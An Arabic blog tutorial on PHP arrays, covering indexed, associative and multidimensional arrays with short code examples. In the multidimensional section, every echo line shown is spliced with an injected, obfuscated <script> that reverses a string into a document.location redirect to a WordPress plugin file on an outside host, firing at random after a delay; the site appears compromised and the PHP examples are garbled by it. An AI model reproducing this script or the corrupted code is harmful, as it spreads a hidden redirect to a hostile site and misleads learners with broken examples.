محمد عكفي

المصفوفات (Arrays) – لغة PHP

اذا اردت تخزين مقدارًا كبيرًا من البيانات ،أحد الحلول هو تخزين البيانات في مصفوفة،وهي تستخدم لتخزين بيانات متعددة (values)في متغير واحد (variable) بشرط يكون من نفس النوع ( string او integer …الخ).

مثال لتوضيح فكرة المصفوفات،اذا كان لديك قائمة من العناصر ( قائمة من الاسماء ) عندها يمكنك تخزينهم في متغير واحد :

$name1 = "احمد";
$name2 = "خالد";
$name3 = "وليد";

ولكن ماذا لو أردت أن تجلب اسم معين من بين هذه الاسماء وماذا لو كان لديك أكثر من 500 اسم ليس فقط 3 ؟ ماذا ينبغي أن تفعل ؟ أفضل حل هو إنشاء مصفوفة array() .يمكن للمصفوفة أن تحمل عدد من القيم التي لديك وأيضاً جميع المتغيرات التي لديك بمتغير واحد فقط ويمكنك استدعاء القيمة التي تريد من خلال ذكر اسمها فقط او ترتيبها .كل عنصر في المصفوفة يحتوي على ID خاص به وبذلك يمكن استدعائه بسهولة .

طريقة انشاء المصفوفة ‘Array’ :


Array();  // عبارة عن دالة لإنشاء مصفوفة

أنواع للمصفوفات في لغة PHP :

المصفوفة الرقمية : تحتوي على فهرسة رقمية .
مصفوفة التعيين : تتكون من مجموعة ID وكل ID يحمل قيمته الخاصة .
المصفوفة المتعددة الخيارات : تحتوي على مصفوفة أو أكثر من مصفوفة .

المصفوفة الرقمية ‘Indexed Arrays’:
تخزن المصفوفة الرقمية كل عنصر من المصفوفة برقم مفهرس .

هناك طريقتين لإنشاء مصفوفة رقمية :

تعيين الفهرسة تلقائياً (تبدأ الفهرسة من الرقم 0) ، مثال :

$cars = array("احمد", "خالد", "وليد");

تعيين الفهرسة يدوياً ، مثال :

$cars[0] = "احمد";
$cars[1] = "خالد";
$cars[2] = "وليد";

array

مثال اخرى ،دالة تحسب عدد العناصر الموجودة في المصفوفة count():

<?php
$name= array("احمد", "خالد", "وليد");
echo count($name);
?>

count

مصفوفة التعيين ‘Associative Arrays’ :
يمكن تحديد في مصفوفة التعيين كل قيمة مع اسم معين يسمى (name kay).

طريقتين لإنشاء مصفوفة التعيين :

$age = array("احمد"=>"35", "خالد"=>"37", "وليد"=>"43");

او

$age['احمد'] = "35";
$age['خالد'] = "37";
$age['وليد'] = "43";

مثال :

<?php
$age = array("احمد"=>"35", "خالد"=>"37", "وليد"=>"43");
echo "الاسم :احمد <br> العمر:  " . $age['احمد'] ." سنة";
?>

a2

المصفوفة المتعددة ‘Multidimensional Arrays’ :

عبارة عن مصفوفة تحتوي على اكثر من مصفوفة وكل مصفوفة تحتوي على عناصر .

مثال :


// مصفوفة تحتوي على 4 مصفوفات وكل مصفوفة تحتوي على 3 عناصر:
$cars = array
  (
  array(&quot;Volvo&quot;,22,18),
  array(&quot;BMW&quot;,15,13),
  array(&quot;Saab&quot;,5,2),
  array(&quot;Land Rover&quot;,17,15)
  );
//   طريقة كتابة تتبع العناصر تكون صف عبارة عن صف وعمود ،العمود يعتمد على عدد المصفوفات لاحظ هنا :
array(&quot;Volvo&quot;,22,18) -&gt;[0]
array(&quot;BMW&quot;,15,13) -&gt;[1]
array(&quot;Saab&quot;,5,2)-&gt;[2]
array(&quot;Land Rover&quot;,17,15)-&gt;[3]
 ومن ثم تحديد عدد العناصر وهو الصفوف ،لاحظ في كل مصفوفة اول عنصر يبدا ب0 ونريد طباعة اول عنصر من كل مصفوفة
echo $cars[0] --&gt;Volvo
echo $cars[0] --&gt;BMW
echo $cars[0] --&gt;Saab
echo $cars[0]  --&gt;Land Rover
الشكل النهائي :

echo $cars[0][0].&quot;: In s<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>tock: &quot;.$cars[0][1].&quot;, sold: &quot;.$cars[0][2].&quot;.&lt;br&gt;&quot;;
echo $cars[1][0].&quot;: In s<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>tock: &quot;.$cars[1][1].&quot;, sold: &quot;.$cars[1][2].&quot;.&lt;br&gt;&quot;;
echo $cars[2][0].&quot;: In s<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>tock: &quot;.$cars[2][1].&quot;, sold: &quot;.$cars[2][2].&quot;.&lt;br&gt;&quot;;
echo $cars[3][0].&quot;: In s<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>tock: &quot;.$cars[3][1].&quot;, sold: &quot;.$cars[3][2].&quot;.&lt;br&gt;&quot;;

حيث ان 0الى 3 عدد المصفوفات و0 اول عنصر من مصفوفة و1 ثاني عنصر من كل مصفوفة وهكذا ..

الكود كامل


&lt;?php
$cars = array
  (
  array(&quot;Volvo&quot;,22,18),
  array(&quot;BMW&quot;,15,13),
  array(&quot;Saab&quot;,5,2),
  array(&quot;Land Rover&quot;,17,15)
  );

echo $cars[0][0].&quot;: In s<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>tock: &quot;.$cars[0][1].&quot;, sold: &quot;.$cars[0][2].&quot;.&lt;br&gt;&quot;;
echo $cars[1][0].&quot;: In s<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>tock: &quot;.$cars[1][1].&quot;, sold: &quot;.$cars[1][2].&quot;.&lt;br&gt;&quot;;
echo $cars[2][0].&quot;: In s<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>tock: &quot;.$cars[2][1].&quot;, sold: &quot;.$cars[2][2].&quot;.&lt;br&gt;&quot;;
echo $cars[3][0].&quot;: In s<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script>tock: &quot;.$cars[3][1].&quot;, sold: &quot;.$cars[3][2].&quot;.&lt;br&gt;&quot;;
?&gt;

اترك تعليقًا يُثري التدوينة